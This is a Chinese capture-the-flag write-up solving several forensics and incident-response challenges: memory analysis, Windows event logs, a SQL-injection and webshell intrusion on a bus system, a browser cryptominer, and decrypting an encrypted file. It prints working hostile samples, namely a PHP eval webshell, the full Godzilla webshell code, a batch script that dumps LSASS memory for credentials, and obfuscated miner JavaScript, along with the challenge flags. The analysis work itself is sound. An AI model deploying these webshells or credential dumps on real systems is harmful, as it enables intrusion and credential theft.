题目最多的一次,肝完14h夜班来打,拿下
image-20250726223121479

【题目信息】VOL_EASY

题目描述

某企业服务器近日遭受隐秘入侵。安全团队通过日志溯源发现,黑客利用Web应用漏洞植入恶意后门,根据溯源的信息配合警方逮捕了黑客,安全团队已经紧急保存了黑客电脑的内存转储文件,请你开始取证以便固定证据。请根据题目文件,找出下面10条证据让罪犯服软吧!

这是攻击者视角下内存取证

【任务1】VOL_EASY

题目描述

黑客上传的一句话木马密码是多少?

lovelymem导入镜像,ntfs发现ezshell.php,右键打开

image-20250726142612472

image-20250726142712577

<?php @eval($_POST['solar']); ?>

flag{solar}

【任务2】VOL_EASY

题目描述

黑客使用的木马连接工具叫什么(比如xx.exe)?(仅首字母大写)

看下findevil,发现蚁剑,仅首字母害我没一血QWQ

image-20250726143832399

flag{Antsword.exe}

【任务3】VOL_EASY

题目描述

黑客使用的木马连接工具的位置在哪里(比如C:\xxxx\xx.exe) ?

文件直接搜ant

屏幕截图 2025-07-26 103201

flag{C:\Tools\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe}

【任务4】VOL_EASY

题目描述

黑客获取到的FLAG是什么?

见任务1

flag{ok!get_webshell_is_good_idea~}

【任务5】VOL_EASY

题目描述

黑客入侵的网站地址是多少(只需要http://xxxxx/)?

看了网络连接发现192.228.79.201不对,难道是反代?DNS?

image-20250726143945591

直接正则搜索镜像

\d+\.\d+\.\d+\.\d+

拿下

image-20250726110918167

flag{http://192.168.186.140}

【任务6】VOL_EASY

题目描述

黑客入侵时,使用的系统用户名是什么?

查看系统信息

image-20250726144521051

flag{Administrator}

【任务7】VOL_EASY

题目描述

黑客创建隐藏账户的密码是多少?

本机找了很久没找到,很显然这是作为攻击者的内存镜像,而攻击信息位于蚁剑内存中

继续正则搜索镜像

net user

solar202,后面猜个5

f002c5bac6def16dc2db76e80900576

flag{solar2025}

【任务8】VOL_EASY

题目描述

黑客首次操作靶机的关键程序是什么?

【任务9】VOL_EASY

题目描述

该关键程序的PID是多少?

【任务10】VOL_EASY

题目描述

该关键程序的内存文件保存到了什么地方?

后面三题怎么在另一页,差点没发现

再去看任务1发现的这个dump_lass.bat,其中包含PID、%OUTPUT%,一看就是上传给靶机执行的bat

@echo off
echo [*] 正在获取 lsass.exe PID...

for /f "tokens=2 delims=," %%a in ('tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV /NH') do (
    set PID=%%~a
)

if "%PID%"=="" (
    echo [!] 未找到 lsass.exe 进程,或没有权限。
    pause
    exit /b 1
)

echo [*] PID: %PID%
echo [*] 正在尝试导出内存转储...

set OUTPUT=%~dp0lsass.dmp

rundll32.exe comsvcs.dll, MiniDump %PID% %OUTPUT% full

if exist "%OUTPUT%" (
    echo [✓] 成功导出 lsass 内存为: %OUTPUT%
) else (
    echo [!] 导出失败,可能权限不足。
)

pause

直接010搜镜像

三宝齐全了,PID 456,路径C:\phpstudy_pro\WWW\lsass.dmp,第一个执行的是lsass.exe

image-20250726111749712

换个UTF-8,看懂了8

image-20250726145427174

flag{lsass.exe}、flag{456}、flag{C:\phpstudy_pro\WWW\lsass.dmp}

【题目信息】应急大师

题目描述

这是一台被黑客入侵的服务器,安全团队有进行一些基础溯源。目前服务器已经断网处理,请你继续协助安全团队进行溯源分析,将整个证据链补充完整。服务器密码是qsnctf。

这应该就是作为受害者

【任务1】应急大师

题目描述

请提交隐藏用户的名称?

找到账户管理,隐藏用户后面加$

image-20250726111306711

flag{solar$}

【任务2】应急大师

题目描述

请提交黑客的IP地址?

phpstudy,找nginx日志

image-20250726111930645

flag{192.168.186.139}

【任务3】应急大师

题目描述

请提交黑客的一句话木马密码?

phpstudy,三打不牛web目录下看

image-20250726112011787

flag{solar2025}

【任务4】应急大师

题目描述

请提交黑客创建隐藏用户的TargetSid(目标账户安全ID)?

命令行直接看

image-20250726111323131

flag{S-1-5-21-3845547894-970975367-1760185533-1000}

【任务5】应急大师

题目描述

请提交黑客创建隐藏账户的事件(格式为 年/月/日 时:分:秒)?

事件查看器-安全,筛选4720事件ID,创建新账户事件

image-20250726112110483

flag{2025/7/23 17:05:45}

【任务6】应急大师

题目描述

黑客将这个隐藏用户先后加入了哪几个用户组?提交格式为 第一个用户组-第二个用户组,如student-teacher

查看4728、4732、4756事件ID

  • 事件 ID 4728:用户被添加到一个全局安全组(如 Administrators、Users 等)

  • 事件 ID 4732:用户被添加到一个本地安全组

  • 事件 ID 4756:用户被添加到一个通用安全组(通常出现在域环境中)

先后被添加到Users、Administrators组

image-20250726112305047

image-20250726112319660

flag{Users-Administrators}

【任务7】应急大师

题目描述

黑客通过远程桌面成功登陆系统管理员账号的网络地址及端口号?提交格式为 IP:PORT 如 127.0.0.1:41110

筛选4624,查找到管理员的rdp连接

image-20250726111205481

flag{192.168.186.139:49197}

【题目信息】公交车系统攻击事件排查

题目描述

思而听公交系统被黑客攻击,黑客通过web进行了攻击并获取了数据,然后获取了其中一位驾校师傅在FTP服务中的私密文件,其后黑客找到了任意文件上传漏洞进行了GETshell,控制了主机权限并植入了挖矿网页挖矿病毒,接下来你需要逐步排查。
注意:
流量中的21端口对应2121、80端口对应8090。
root的SSH密码为bussec123,第二个地址是SSH地址。
请勿在此提交FLAG,请前往具体任务提交,如【任务1】公交车系统攻击事件排查 提交。

【任务1】公交车系统攻击事件排查

题目描述

分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}

根目录有个流量包,传下来,显然是SQL注入

几千个包都是sqlmap在扫,盲注,以下流量发现是按password排序

image-20250726120109061

直接连数据库查,按password排序

image-20250726120009724

flag{sunyue-chenhao}

【任务2】公交车系统攻击事件排查

题目描述

黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}

话不多说,看图

image-20250726115106957

flag{INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025}

【任务3】公交车系统攻击事件排查

题目描述

可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}

直奔web目录下uploads目录,发现哥斯拉🐎,密码woaiwojia

image-20250726113323413

flag{woaiwojia}

【任务4】公交车系统攻击事件排查

题目描述

分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}

哥斯拉webshell流量

image-20250726121049213

根据之前的哥斯拉马解密

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='woaiwojia';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

文件上传操作

image-20250726121028737

flag{map.php}

【任务5】公交车系统攻击事件排查

题目描述

分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}

web挖矿木马,依赖用户浏览器前端,只能是js喽,直接看主页,发现混淆js

image-20250726114128630

(function(){var _0x1c8d=['fromCharCode','|','4|1|3|0|2','split','log','This\x20will\x20never\x20run','random','floor','now','sqrt','sin','setTimeout','push','shift'];(function(_0x3e1a0f,_0x1c8d8d){var _0x5b3c2d=function(_0x5a1d5c){while(--_0x5a1d5c){_0x3e1a0f['push'](_0x3e1a0f['shift']());}};_0x5b3c2d(++_0x1c8d8d);}(_0x1c8d,0x1f4));var _0x5b3c=function(_0x3e1a0f,_0x1c8d8d){_0x3e1a0f=_0x3e1a0f-0x0;var _0x5b3c2d=_0x1c8d[_0x3e1a0f];return _0x5b3c2d;};var _0x1b8d5c=function(){var _0x5a1d5c=function(){var _0x3c7e4b=!![];return function(_0x1b1f8e,_0x5a1d5c){var _0x3c1a2b=_0x3c7e4b?function(){if(_0x5a1d5c){var _0x1b8d5c=_0x5a1d5c['apply'](_0x1b1f8e,arguments);_0x5a1d5c=null;return _0x1b8d5c;}}:function(){};_0x3c7e4b=![];return _0x3c1a2b;};}();var _0x3c7e4b=_0x1b8d5c(this,function(){var _0x1b1f8e=function(){var _0x5a1d5c;try{_0x5a1d5c=_0x1b8d5c('return\x20(function()\x20'+'{}.constructor(\"return\x20this\")()\x20'+');','');}catch(_0x3c1a2b){_0x5a1d5c=window;}return _0x5a1d5c;};var _0x5a1d5c=_0x1b1f8e();var _0x3c1a2b=_0x5a1d5c['console']=_0x5a1d5c['console']||{};var _0x1b8d5c=[_0x5b3c('0x4'),'warn','info','error','exception','table','trace'];for(var _0x5b3c2d=0x0;_0x5b3c2d<_0x1b8d5c['length'];_0x5b3c2d++){var _0x3c7e4b=_0x1b8d5c['constructor']['prototype']['bind'](_0x1b8d5c);var _0x1b1f8e=_0x1b8d5c[_0x5b3c2d];var _0x5a1d5c=_0x3c1a2b[_0x1b1f8e]||_0x3c7e4b;_0x3c7e4b['__proto__']=_0x1b8d5c['bind'](_0x1b8d5c);_0x3c7e4b['toString']=_0x5a1d5c['toString']['bind'](_0x5a1d5c);_0x3c1a2b[_0x1b1f8e]=_0x3c7e4b;}});_0x3c7e4b();var _0x1b1f8e={};_0x1b1f8e['p']=String[_0x5b3c('0x0')](103,117,108,102,46,109,111,110,101,114,111,111,99,101,97,110,46,115,116,114,101,97,109,58,49,48,49,50,56);_0x1b1f8e['l']=0.8;var _0x5b3c2d=function(){var _0x3c7e4b=_0x5b3c('0x2')[_0x5b3c('0x3')]('|');var _0x1b8d5c=0x0;while(!![]){switch(_0x3c7e4b[_0x1b8d5c++]){case'0':if(Math[_0x5b3c('0x7')](Math[_0x5b3c('0x6')]()*100)>100){console[_0x5b3c('0x4')](_0x5b3c('0x5'));}continue;case'1':while(Date[_0x5b3c('0x8')]()- _0x1b8d5c<100*_0x1b1f8e['l']){var _0x5a1d5c=10000

对这些整数解密,发现是矿池地址

image-20250726114051328

flag{gulf.moneroocean.stream:10128}

B02-奇怪的加密器

题目描述

糟糕!一个客户的服务器的一个文件被加密了,为了防止感染,我将其放入了回收站,请你快点恢复我的flag生成器!这非常重要!!!服务器密码是:qsnctf

正好学习用一下思而听的vnc主机

靶机内网smb传到nas上共享

image-20250726121916449

主机外网ftp连接到nas上访问

image-20250726122011718

参数enc,指定FlagGenerator_v1.exe加密为FlagGenerator_v1.T1

image-20250726152944573

主要加密逻辑不难,没上次的ex,调用windows api进行加密,重点是在CryptEncrypt对文件内容进行加密,其他key什么的都是硬编码

image-20250726152925065

如果能让CryptEncrypt patch成CryptDecrypt就好了

#include <windows.h>
#include <wincrypt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <memory>

#pragma comment(lib, "advapi32.lib")

class AESDecryptor {
private:
    HCRYPTPROV hProv;
    HCRYPTKEY hKey;
    HCRYPTHASH hHash;

public:
    AESDecryptor() : hProv(0), hKey(0), hHash(0) {}

    ~AESDecryptor() {
        cleanup();
    }

    bool initialize(const std::string& password) {
        // 获取加密上下文 (PROV_RSA_AES)
        if (!CryptAcquireContextA(&hProv, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
            std::cerr << "CryptAcquireContext 失败: " << GetLastError() << std::endl;
            return false;
        }

        // 创建SHA-256哈希对象
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
            std::cerr << "CryptCreateHash 失败: " << GetLastError() << std::endl;
            return false;
        }

        // 对密码进行哈希
        if (!CryptHashData(hHash, reinterpret_cast<const BYTE*>(password.c_str()),
            static_cast<DWORD>(password.length()), 0)) {
            std::cerr << "CryptHashData 失败: " << GetLastError() << std::endl;
            return false;
        }

        // 从哈希派生AES-128密钥
        if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) {
            std::cerr << "CryptDeriveKey 失败: " << GetLastError() << std::endl;
            return false;
        }

        return true;
    }

    bool decryptFile(const std::string& inputFile, const std::string& outputFile) {
        try {
            // 读取加密文件
            std::ifstream file(inputFile, std::ios::binary | std::ios::ate);
            if (!file.is_open()) {
                std::cerr << "无法打开输入文件: " << inputFile << std::endl;
                return false;
            }

            std::streamsize fileSize = file.tellg();
            file.seekg(0, std::ios::beg);

            // 使用vector存储文件数据,并预留解密所需的额外空间
            std::vector<BYTE> buffer(static_cast<size_t>(fileSize) + 16);

            if (!file.read(reinterpret_cast<char*>(buffer.data()), fileSize)) {
                std::cerr << "文件读取失败" << std::endl;
                return false;
            }
            file.close();

            // 解密数据
            DWORD decryptLen = static_cast<DWORD>(fileSize);
            if (!CryptDecrypt(hKey, 0, TRUE, 0, buffer.data(), &decryptLen)) {
                std::cerr << "CryptDecrypt 失败: " << GetLastError() << std::endl;
                return false;
            }

            // 写入解密后的文件
            std::ofstream outFile(outputFile, std::ios::binary);
            if (!outFile.is_open()) {
                std::cerr << "无法创建输出文件: " << outputFile << std::endl;
                return false;
            }

            outFile.write(reinterpret_cast<const char*>(buffer.data()), decryptLen);
            if (!outFile.good()) {
                std::cerr << "写入文件失败" << std::endl;
                return false;
            }

            std::cout << "解密完成: " << inputFile << " -> " << outputFile << std::endl;
            return true;

        }
        catch (const std::exception& e) {
            std::cerr << "异常: " << e.what() << std::endl;
            return false;
        }
    }

private:
    void cleanup() {
        if (hKey) {
            CryptDestroyKey(hKey);
            hKey = 0;
        }
        if (hHash) {
            CryptDestroyHash(hHash);
            hHash = 0;
        }
        if (hProv) {
            CryptReleaseContext(hProv, 0);
            hProv = 0;
        }
    }
};

class DecryptorApp {
private:
    static constexpr const char* SECRET_KEY = "secret_key_1234";

public:
    int run(int argc, char* argv[]) {
        if (argc < 3) {
            showUsage(argv[0]);
            return 1;
        }

        const std::string inputFile = argv[1];
        const std::string outputFile = argv[2];

        std::cout << "=== AES解密程序 ===" << std::endl;
        std::cout << "输入文件: " << inputFile << std::endl;
        std::cout << "输出文件: " << outputFile << std::endl;
        std::cout << "使用密钥: " << SECRET_KEY << std::endl;
        std::cout << "开始解密..." << std::endl;

        AESDecryptor decryptor;

        if (!decryptor.initialize(SECRET_KEY)) {
            std::cerr << "解密器初始化失败!" << std::endl;
            return -1;
        }

        if (!decryptor.decryptFile(inputFile, outputFile)) {
            std::cerr << "解密失败!" << std::endl;
            return -1;
        }

        std::cout << "解密成功完成!" << std::endl;
        return 0;
    }

private:
    void showUsage(const char* programName) {
        std::cout << "用法:" << std::endl;
        std::cout << "  解密: " << programName << " <加密文件> <输出文件>" << std::endl;
        std::cout << std::endl;
        std::cout << "示例:" << std::endl;
        std::cout << "  " << programName << " FlagGenerator_v1.T1 FlagGenerator_v1_decrypted.exe" << std::endl;
        std::cout << std::endl;
        std::cout << "说明:" << std::endl;
        std::cout << "  - 使用硬编码密钥: " << SECRET_KEY << std::endl;
        std::cout << "  - 加密算法: AES-128" << std::endl;
        std::cout << "  - 密钥派生: SHA-256" << std::endl;
    }
};

int main(int argc, char* argv[]) {
    // 设置控制台输出编码为UTF-8 (Windows)
#ifdef _WIN32
    SetConsoleOutputCP(CP_UTF8);
#endif

    DecryptorApp app;
    return app.run(argc, argv);
}

解密拿flag

image-20250726153740860

flag{8e8c6b08-8adb-262b-0032-4809c1796c3e}